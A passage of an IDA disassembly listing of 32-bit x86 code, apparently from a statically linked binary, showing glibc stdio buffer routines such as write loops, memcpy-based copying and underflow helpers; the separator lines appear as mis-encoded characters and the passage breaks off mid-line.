陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp mov eax, [ebp+8] mov eax, [eax+38h] push eax call __libc_close mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp push edi push esi push ebx mov edi, [ebp+8] mov esi, [ebp+0Ch] mov ebx, [ebp+10h] loc_806151F: ; CODE XREF: .text:0806153Aj ; .text:08061543j test ebx, ebx jle short loc_8061548 push ebx push esi mov eax, [edi+38h] push eax call __libc_write add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_806153C sub ebx, eax add esi, eax jmp short loc_806151F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806153C: ; CODE XREF: .text:08061534j cmp errno, 4 jz short loc_806151F or byte ptr [edi], 20h loc_8061548: ; CODE XREF: .text:08061521j sub [ebp+10h], ebx cmp dword ptr [edi+40h], 0 jl short loc_8061557 mov edx, [ebp+10h] add [edi+40h], edx loc_8061557: ; CODE XREF: .text:0806154Fj mov eax, [ebp+10h] lea esp, [ebp-0Ch] pop ebx pop esi pop edi mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 push ebp mov ebp, esp sub esp, 0Ch push edi push esi push ebx mov ebx, [ebp+0Ch] mov eax, [ebp+10h] mov [ebp-4], eax xor esi, esi test eax, eax jnz short loc_8061598 xor eax, eax jmp loc_806177E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8061584: ; CODE XREF: .text:080615F8j ; .text:08061603j ... mov eax, [ebp-0Ch] sub eax, ebx lea edi, [eax+1] mov esi, 1 jmp loc_8061656 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8061598: ; CODE XREF: .text:0806157Aj mov edx, [ebp+8] mov edi, [edx+18h] sub edi, [edx+14h] mov eax, [edx] and eax, 0A00h cmp eax, 0A00h jnz loc_8061656 mov edi, [edx+20h] sub edi, [edx+14h] cmp [ebp+10h], edi ja loc_8061656 mov eax, [ebp+10h] add eax, ebx mov [ebp-0Ch], eax cmp eax, ebx jbe loc_8061656 mov eax, ebx sub eax, [ebp-0Ch] mov ecx, eax and ecx, 3 cmp [ebp-0Ch], ebx jle short loc_8061609 test ecx, ecx jz short loc_806161C cmp ecx, 3 jge short loc_8061609 cmp ecx, 2 jge short loc_80615FA dec dword ptr [ebp-0Ch] mov edx, [ebp-0Ch] cmp byte ptr [edx], 0Ah jz short loc_8061584 loc_80615FA: ; CODE XREF: .text:080615EDj dec dword ptr [ebp-0Ch] mov eax, [ebp-0Ch] cmp byte ptr [eax], 0Ah jz loc_8061584 loc_8061609: ; CODE XREF: .text:080615DFj ; .text:080615E8j dec dword ptr [ebp-0Ch] mov edx, [ebp-0Ch] cmp byte ptr [edx], 0Ah jz loc_8061584 cmp edx, ebx jbe short loc_8061656 loc_806161C: ; CODE XREF: .text:080615E3j ; .text:08061654j dec dword ptr [ebp-0Ch] mov eax, [ebp-0Ch] cmp byte ptr [eax], 0Ah jz loc_8061584 dec eax mov [ebp-0Ch], eax cmp byte ptr [eax], 0Ah jz loc_8061584 dec eax mov [ebp-0Ch], eax cmp byte ptr [eax], 0Ah jz loc_8061584 dec eax mov [ebp-0Ch], eax cmp byte ptr [eax], 0Ah jz loc_8061584 cmp eax, ebx ja short loc_806161C loc_8061656: ; CODE XREF: .text:08061591j ; .text:080615ADj ... test edi, edi jz loc_8061708 cmp [ebp-4], edi jnb short loc_8061666 mov edi, [ebp-4] loc_8061666: ; CODE XREF: .text:08061661j cmp edi, 14h jbe short loc_8061680 mov edx, [ebp+8] mov edx, [edx+14h] push edi push ebx push edx call memcpy add esp, 0Ch add ebx, edi jmp short loc_80616FF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8061680: ; CODE XREF: .text:08061669j mov eax, [ebp+8] mov eax, [eax+14h] mov [ebp-0Ch], eax lea ecx, [edi-1] test ecx, ecx jl short loc_80616FF mov eax, ecx not eax and eax, 3 mov [ebp-8], eax cmp ecx, 0FFFFFFFFh jle short loc_80616C9 test eax, eax jz short loc_80616D8 cmp eax, 3 jge short loc_80616C9 cmp eax, 2 jge short loc_80616BC mov dl, [ebx] mov eax, [ebp-0Ch] mov [eax], dl inc ebx inc eax mov [ebp-0Ch], eax lea ecx, [edi-2] loc_80616BC: ; CODE XREF: .text:080616ABj mov dl, [ebx] mov eax, [ebp-0Ch] mov [eax], dl inc ebx inc eax mov [ebp-0Ch], eax dec ecx loc_80616C9: ; CODE XREF: .text:0806169Dj ; .text:080616A6j mov dl, [ebx] mov eax, [ebp-0Ch] mov [eax], dl inc ebx inc eax mov [ebp-0Ch], eax dec ecx js short loc_80616FF loc_80616D8: ; CODE XREF: .text:080616A1j ; .text:080616FDj mov dl, [ebx] mov eax, [ebp-0Ch] mov [eax], dl mov dl, [ebx+1] mov [eax+1], dl mov dl, [ebx+2] mov [eax+2], dl mov dl, [ebx+3] mov [eax+3], dl add ebx, 4 add eax, 4 mov [ebp-0Ch], eax add ecx, 0FFFFFFFCh jns short loc_80616D8 loc_80616FF: ; CODE XREF: .text:0806167Ej ; .text:0806168Ej ... mov eax, [ebp+8] add [eax+14h], edi sub [ebp-4], edi loc_8061708: ; CODE XREF: .text:08061658j mov eax, [ebp-4] add eax, esi jz short loc_8061778 push 0FFFFFFFFh mov edx, [ebp+8] push edx call sub_8061910 mov ecx, eax add esp, 8 cmp ecx, 0FFFFFFFFh jz short loc_8061778 mov eax, [ebp+8] mov ecx, [eax+20h] sub ecx, [eax+1Ch] cmp ecx, 7Fh jbe short loc_8061740 mov eax, [ebp-4] xor edx, edx div ecx mov esi, edx jmp short loc_8061742 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8061740: ; CODE XREF: .text:08061730j xor esi, esi loc_8061742: ; CODE XREF: .text:0806173Bj mov edi, [ebp-4] sub edi, esi push edi push ebx mov eax, [ebp+8] push eax call sub_8060FA8 mov ecx, eax add esp, 0Ch cmp ecx, 0FFFFFFFFh jz short loc_8061778 mov [ebp-4], esi test esi, esi jz short loc_8061778 push esi add ebx, edi mov [ebp-8], ebx push ebx mov edx, [ebp+8] push edx call sub_8061C2C mov ecx, eax sub [ebp-4], ecx loc_8061778: ; CODE XREF: .text:0806170Dj ; .text:08061722j ... mov eax, [ebp+10h] sub eax, [ebp-4] loc_806177E: ; CODE XREF: .text:0806157Ej lea esp, [ebp-18h] pop ebx pop esi pop edi mov esp, ebp pop ebp retn ; [0000003C BYTES: COLLAPSED FUNCTION _IO_un_link. PRESS KEYPAD "+" TO EXPAND] ; [00000020 BYTES: COLLAPSED FUNCTION _IO_link_in. PRESS KEYPAD "+" TO EXPAND] ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_80617E4 proc near ; CODE XREF: sub_8061928+Dp arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov edx, [eax+8] sub edx, [eax+0Ch] mov eax, [eax+30h] test eax, eax jz short loc_8061806 nop loc_80617F8: ; CODE XREF: sub_80617E4+20j cmp [eax+8], edx jge short loc_8061800 mov edx, [eax+8] loc_8061800: ; CODE XREF: sub_80617E4+17j mov eax, [eax] test eax, eax jnz short loc_80617F8 loc_8061806: ; CODE XREF: sub_80617E4+11j mov eax, edx mov esp, ebp pop ebp retn sub_80617E4 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_806180C proc near ; CODE XREF: sub_80618D4+Ep ; sub_8061A70+2Ap ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFEFFh mov ecx, [eax+8] mov edx, [eax+2Ch] mov [eax+8], edx mov [eax+2Ch], ecx mov ecx, [eax+0Ch] mov edx, [eax+24h] mov [eax+0Ch], edx mov [eax+24h], ecx mov edx, [eax+0Ch] mov [eax+4], edx mov esp, ebp pop ebp retn sub_806180C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_806183C proc near ; CODE XREF: .text:0806234Fp ; sub_80623B8+25p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] or dword ptr [eax], 100h mov ecx, [eax+8] mov edx, [eax+2Ch] mov [eax+8], edx mov [eax+2Ch], ecx mov ecx, [eax+0Ch] mov edx, [eax+24h] mov [eax+0Ch], edx mov [eax+24h], ecx mov edx, [eax+8] mov [eax+4], edx mov esp, ebp pop ebp retn sub_806183C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_806186C proc near ; CODE XREF: _IO_file_underflow+35p ; .text:080612A6p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] mov eax, [ebx+14h] cmp [ebx+10h], eax jnb short loc_8061894 mov eax, [ebx+50h] push 0FFFFFFFFh push ebx mov eax, [eax+14h] call eax cmp eax, 0FFFFFFFFh jnz short loc_8061894 mov eax, 0FFFFFFFFh jmp short loc_80618CC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8061894: ; CODE XREF: sub_806186C+Dj ; sub_806186C+1Dj test byte ptr [ebx+1], 1 jz short loc_80618A4 mov eax, [ebx+28h] mov [ebx+0Ch], eax jmp short loc_80618B5 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80618A4: ; CODE XREF: sub_806186C+2Cj mov eax, [ebx+1Ch] mov [ebx+0Ch], eax mov eax, [ebx+14h] cmp [ebx+8], eax jnb short loc_80618B5 mov [ebx+8], eax loc_80618B5: ; CODE XREF: sub_806186C+34j ; sub_806186C+44j mov eax, [ebx+14h] mov [ebx+4], eax mov [ebx+18h], eax mov [ebx+14h], eax mov [ebx+10h], eax and dword ptr [ebx], 0FFFFF7FFh xor eax, eax loc_80618CC: ; CODE XREF: sub_806186C+24j mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_806186C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_80618D4 proc near ; CODE XREF: sub_8061A70+63p ; .text:08061B53p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] test byte ptr [ebx+1], 1 jz short loc_80618EA push ebx call sub_806180C add esp, 4 loc_80618EA: ; CODE XREF: sub_80618D4+Bj mov eax, [ebx+24h] push eax call free mov dword ptr [ebx+24h], 0 mov dword ptr [ebx+2Ch], 0 mov dword ptr [ebx+28h], 0 mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_80618D4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8061910 proc near ; CODE XREF: _IO_vsprintf+46p ; _IO_vfprintf+BEAp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] mov ecx, [edx+50h] push eax push edx mov eax, [ecx+14h] call eax mov esp, ebp pop ebp retn sub_8061910 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8061928 proc near ; CODE XREF: sub_8061A70+47p ; .text:08061B37p var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push edi push esi push ebx mov edi, [ebp+arg_0] push edi call sub_80617E4 mov esi, eax mov ecx, [edi+8] sub ecx, [edi+0Ch] sub ecx, esi mov [ebp+var_4], ecx mov eax, [edi+2Ch] sub eax, [edi+24h] add esp, 4 cmp ecx, eax jle loc_80619EC mov [ebp+var_8], 64h mov eax, ecx add eax, 64h push eax call malloc mov [ebp+var_C], eax add esp, 4 test eax, eax jnz short loc_8061980 mov eax, 0FFFFFFFFh jmp loc_8061A63 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8061980: ; CODE XREF: sub_8061928+4Aj test esi, esi jge short loc_80619B0 mov edx, esi neg edx mov ebx, [ebp+var_C] add ebx, [ebp+var_8] mov eax, [edi+2Ch] add eax, esi push edx push eax push ebx call memcpy add esp, 0Ch sub ebx, esi mov edx, [edi+0Ch] mov eax, [edi+8] sub eax, edx push eax push edx push ebx jmp short loc_80619C1 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80619B0: ; CODE XREF: sub_8061928+5Aj mov edx, [ebp+var_C] add edx, [ebp+var_8] mov eax, [edi+0Ch] add eax, esi mov ecx, [ebp+var_4] push ecx push eax push edx loc_80619C1: ; CODE XREF: sub_8061928+83j call memcpy add esp, 0Ch cmp dword ptr [edi+24h], 0 jz short loc_80619D8 mov eax, [edi+24h] push eax call free loc_80619D8: ; CODE XREF: sub_8061928+A5j mov ecx, [ebp+var_C] mov [edi+24h], ecx mov eax, [ebp+var_C] add eax, [ebp+var_8] add eax, [ebp+var_4] mov [edi+2Ch], eax jmp short loc_8061A40 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80619EC: ; CODE XREF: sub_8061928+2Aj sub eax, [ebp+var_4] mov [ebp+var_8], eax test esi, esi jge short loc_8061A24 mov eax, esi neg eax push eax mov eax, esi add eax, [edi+2Ch] push eax mov eax, [ebp+var_8] add eax, [edi+24h] push eax call memmove mov edx, [ebp+var_8] add edx, [edi+24h] sub edx, esi mov ecx, [edi+0Ch] mov eax, [edi+8] sub eax, ecx push eax push ecx jmp short loc_8061A3A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8061A24: ; CODE XREF: sub_8061928+CCj cmp [ebp+var_4], 0 jle short loc_8061A40 mov edx, [ebp+var_8] add edx, [edi+24h] mov eax, [edi+0Ch] add eax, esi mov ecx, [ebp+var_4] push ecx push eax loc_8061A3A: ; CODE XREF: sub_8061928+F7j push edx call memcpy loc_8061A40: ; CODE XREF: sub_8061928+C2j ; sub_8061928+100j mov ecx, [ebp+var_8] add ecx, [edi+24h] mov [edi+28h], ecx mov edx, [edi+8] sub edx, [edi+0Ch] mov eax, [edi+30h] test eax, eax jz short loc_8061A61 lea esi, [esi] loc_8061A58: ; CODE XREF: sub_8061928+137j sub [eax+8], edx mov eax, [eax] test eax, eax jnz short loc_8061A58 loc_8061A61: ; CODE XREF: sub_8061928+12Cj xor eax, eax loc_8061A63: ; CODE XREF: sub_8061928+51j lea esp, [ebp+var_18] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8061928 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8061A70 proc near ; CODE XREF: _IO_getline+1Fp ; .text:08061E14p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] test byte ptr [ebx+1], 8 jz short loc_8061A8B push ebx call sub_806186C add esp, 4 cmp eax, 0FFFFFFFFh jz short loc_8061AC3 loc_8061A8B: ; CODE XREF: sub_8061A70+Bj mov eax, [ebx+4] cmp [ebx+8], eax ja short loc_8061AAA test byte ptr [ebx+1], 1 jz short loc_8061AB0 push ebx call sub_806180C add esp, 4 mov eax, [ebx+4] cmp [ebx+8], eax jbe short loc_8061AB0 loc_8061AAA: ; CODE XREF: sub_8061A70+21j movzx eax, byte ptr [eax] jmp short loc_8061AE4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8061AB0: ; CODE XREF: sub_8061A70+27j ; sub_8061A70+38j cmp dword ptr [ebx+30h], 0 jz short loc_8061ACC push ebx call sub_8061928 add esp, 4 test eax, eax jz short loc_8061ADB loc_8061AC3: ; CODE XREF: sub_8061A70+19j mov eax, 0FFFFFFFFh jmp short loc_8061AE4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8061ACC: ; CODE XREF: sub_8061A70+44j cmp dword ptr [ebx+24h], 0 jz short loc_8061ADB push ebx call sub_80618D4 add esp, 4 loc_8061ADB: ; CODE XREF: sub_8061A70+51j ; sub_8061A70+60j mov eax, [ebx+50h] push ebx mov eax, [eax+1Ch] call eax loc_8061AE4: ; CODE XREF: sub_8061A70+3Dj ; sub_8061A70+58j mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8061A70 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp push ebx mov ebx, [ebp+8] test byte ptr [ebx+1], 8 jz short loc_8061B07 push ebx call sub_806186C add esp, 4 cmp eax, 0FFFFFFFFh jz short loc_8061B43 loc_8061B07: ; CODE XREF: .text:08061AF7j mov eax, [ebx+4] cmp [ebx+8], eax ja short loc_8061B26 test byte ptr [ebx+1], 1 jz short loc_8061B30 push ebx call sub_806180C add esp, 4 mov eax, [ebx+4] cmp [ebx+8], eax jbe short loc_8061B30 loc_8061B26: ; CODE XREF: .text:08061B0Dj movzx eax, byte ptr [eax] inc dword ptr [ebx+4] jmp short loc_8061B64 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8061B30: ; CODE XREF: .text:08061B13j ; .text:08061B24j cmp dword ptr [ebx+30h], 0 jz short loc_8061B4C push ebx call sub_8061928 add esp, 4 test eax, eax jz short loc_8061B5B loc_8061B43: ; CODE XREF: .text:08061B05j mov eax, 0FFFFFFFFh jmp short loc_8061B64 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8061B4C: ; CODE XREF: .text:08061B34j cmp dword ptr [ebx+24h], 0 jz short loc_8061B5B push ebx call sub_80618D4 add esp, 4 loc_8061B5B: ; CODE XREF: .text:08061B41j ; .text:08061B50j mov eax, [ebx+50h] push ebx mov eax, [eax+24h] call eax loc_8061B64: ; CODE XREF: .text:08061B2Cj ; .text:08061B48j mov ebx, [ebp-4] mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8061B6C proc near ; CODE XREF: _IO_str_init_static+61p ; .text:08053029p ... var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push edi push esi push ebx mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] mov edi, [ebp+arg_8] cmp dword ptr [ebx+1Ch], 0 jz short loc_8061B96 test byte ptr [ebx], 1 jnz short loc_8061B96 mov eax, [ebx+20h] sub eax, [ebx+1Ch] push eax mov eax, [ebx+1Ch] push eax call __libc_munmap loc_8061B96: ; CODE XREF: sub_8061B6C+13j ; sub_8061B6C+18j mov [ebx+1Ch], esi mov [ebx+20h], edi cmp [ebp+arg_C], 0 jz short loc_8061BA8 and dword ptr [ebx], 0FFFFFFFEh jmp short loc_8061BAB ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8061BA8: ; CODE XREF: sub_8061B6C+34j or byte ptr [ebx], 1 loc_8061BAB: ; CODE XREF: sub_8061B6C+39j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8061B6C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8061BB8 proc near ; CODE XREF: _IO_file_underflow+1Fp ; .text:08061139p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] cmp dword ptr [ebx+1Ch], 0 jnz short loc_8061BEB test byte ptr [ebx], 2 jnz short loc_8061BDB mov eax, [ebx+50h] push ebx mov eax, [eax+64h] call eax add esp, 4 cmp eax, 0FFFFFFFFh jnz short loc_8061BEB loc_8061BDB: ; CODE XREF: sub_8061BB8+10j push 0 lea eax, [ebx+48h] push eax lea eax, [ebx+47h] push eax push ebx call sub_8061B6C loc_8061BEB: ; CODE XREF: sub_8061BB8+Bj ; sub_8061BB8+21j mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8061BB8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp mov eax, 0FFFFFFFFh mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 push ebp mov ebp, esp push ebx mov ebx, [ebp+8] mov eax, [ebx+50h] push ebx mov eax, [eax+1Ch] call eax cmp eax, 0FFFFFFFFh jz short loc_8061C20 mov eax, [ebx+4] movzx eax, byte ptr [eax] inc dword ptr [ebx+4] jmp short loc_8061C25 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8061C20: ; CODE XREF: .text:08061C13j mov eax, 0FFFFFFFFh loc_8061C25: ; CODE XREF: .text:08061C1Ej mov ebx, [ebp-4] mov esp, ebp pop ebp retn ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8061C2C proc near ; CODE XREF: .text:0806176Ep var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov ebx, [ebp+arg_4] mov edi, [ebp+arg_8] mov [ebp+var_4], edi test edi, edi jnz short loc_8061C4C xor eax, eax jmp loc_8061D22 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8061C4C: ; CODE XREF: sub_8061C2C+14j ; sub_8061C2C+E9j mov edi, [ebp+arg_0] mov esi, [edi+18h] sub esi, [edi+14h] test esi, esi jle loc_8061CF6 cmp [ebp+var_4], esi jnb short loc_8061C65 mov esi, [ebp+var_4] loc_8061C65: ; CODE XREF: sub_8061C2C+34j cmp esi, 14h jle short loc_8061C84 mov edi, [ebp+arg_0] mov eax, [edi+14h] push esi push ebx push eax call memcpy add esp, 0Ch add ebx, esi add [edi+14h], esi jmp short loc_8061CF3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8061C84: ; CODE XREF: sub_8061C2C+3Cj test esi, esi jg short loc_8061C8C xor esi, esi jmp short loc_8061CF3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8061C8C: ; CODE XREF: sub_8061C2C+5Aj mov edi, [ebp+arg_0] mov edx, [edi+14h] lea ecx, [esi-1] test ecx, ecx jl short loc_8061CED mov eax, ecx not eax and eax, 3 cmp ecx, 0FFFFFFFFh jle short loc_8061CC3 test eax, eax jz short loc_8061CCC cmp eax, 3 jge short loc_8061CC3 cmp eax, 2 jge short loc_8061CBC mov al, [ebx] mov [edx], al inc ebx inc edx lea ecx, [esi-2] loc_8061CBC: ; CODE XREF: sub_8061C2C+85j mov al, [ebx] mov [edx], al inc ebx inc edx dec ecx loc_8061CC3: ; CODE XREF: sub_8061C2C+77j ; sub_8061C2C+80j mov al, [ebx] mov [edx], al inc ebx inc edx dec ecx js short loc_8061CED loc_8061CCC: ; CODE XREF: sub_8061C2C+7Bj ; sub_8061C2C+BFj mov al, [ebx] mov [edx], al mov al, [ebx+1] mov [edx+1], al mov al, [ebx+2] mov [edx+2], al mov al, [ebx+3] mov [edx+3], al add ebx, 4 add edx, 4 add ecx, 0FFFFFFFCh jns short loc_8061CCC loc_8061CED: ; CODE XREF: sub_8061C2C+6Bj ; sub_8061C2C+9Ej mov edi, [ebp+arg_0] mov [edi+14h], edx loc_8061CF3: ; CODE XREF: sub_8061C2C+54j ; sub_8061C2C+5Ej sub [ebp+var_4], esi loc_8061CF6: ; CODE XREF: sub_8061C2C+2Bj cmp [ebp+var_4], 0 jz short loc_8061D1C movzx eax, byte ptr [ebx] push eax inc ebx mov edi, [ebp+arg_0] push edi call sub_8061910 add esp, 8 cmp eax, 0FFFFFFFFh jz short loc_8061D1C dec [ebp+var_4] jmp loc_8061C4C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8061D1C: ; CODE XREF: sub_8061C2C+CEj ; sub_8061C2C+E4j mov eax, [ebp+arg_8] sub eax, [ebp+var_4] loc_8061D22: ; CODE XREF: sub_8061C2C+18j lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8061C2C endp ; [0000001F BYTES: COLLAPSED FUNCTION _IO_sgetn. PRESS KEYPAD "+" TO EXPAND] align 4 push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov edi, [ebp+10h] mov [ebp-4], edi mov ebx, [ebp+0Ch] lea esi, [esi] loc_8061D60: ; CODE XREF: .text:08061E1Fj mov edi, [ebp+8] mov esi, [edi+8] sub esi, [edi+4] test esi, esi jle loc_8061E0A cmp [ebp-4], esi jnb short loc_8061D79 mov esi, [ebp-4] loc_8061D79: ; CODE XREF: .text:08061D74j cmp esi, 14h jle short loc_8061D98 mov edi, [ebp+8] mov eax, [edi+4] push esi push eax push ebx call memcpy add esp, 0Ch add ebx, esi add [edi+4], esi jmp short loc_8061E07 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8061D98: ; CODE XREF: 